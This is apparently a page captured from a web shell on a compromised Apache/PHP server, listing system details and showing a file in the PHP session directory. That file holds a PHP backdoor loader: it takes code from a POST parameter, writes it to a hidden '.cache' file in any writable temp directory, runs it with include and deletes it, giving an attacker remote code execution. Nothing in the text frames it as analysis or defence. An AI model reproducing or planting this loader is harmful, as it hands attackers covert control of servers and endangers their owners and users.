HEX
Server:Apache/2.4.65 (Amazon Linux)
System:Linux ip-172-31-26-109.ec2.internal 6.1.155-176.282.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Oct 7 15:53:25 UTC 2025 x86_64
User:apache (48)
PHP:8.4.13
Disabled:NONE
Upload Files
File: //var/lib/php/session/42a6e90dcouphe2djecg4C2kJHI
<?php $dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode($_POST["Pu"]);foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.cache";if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die("!notwrtbl!");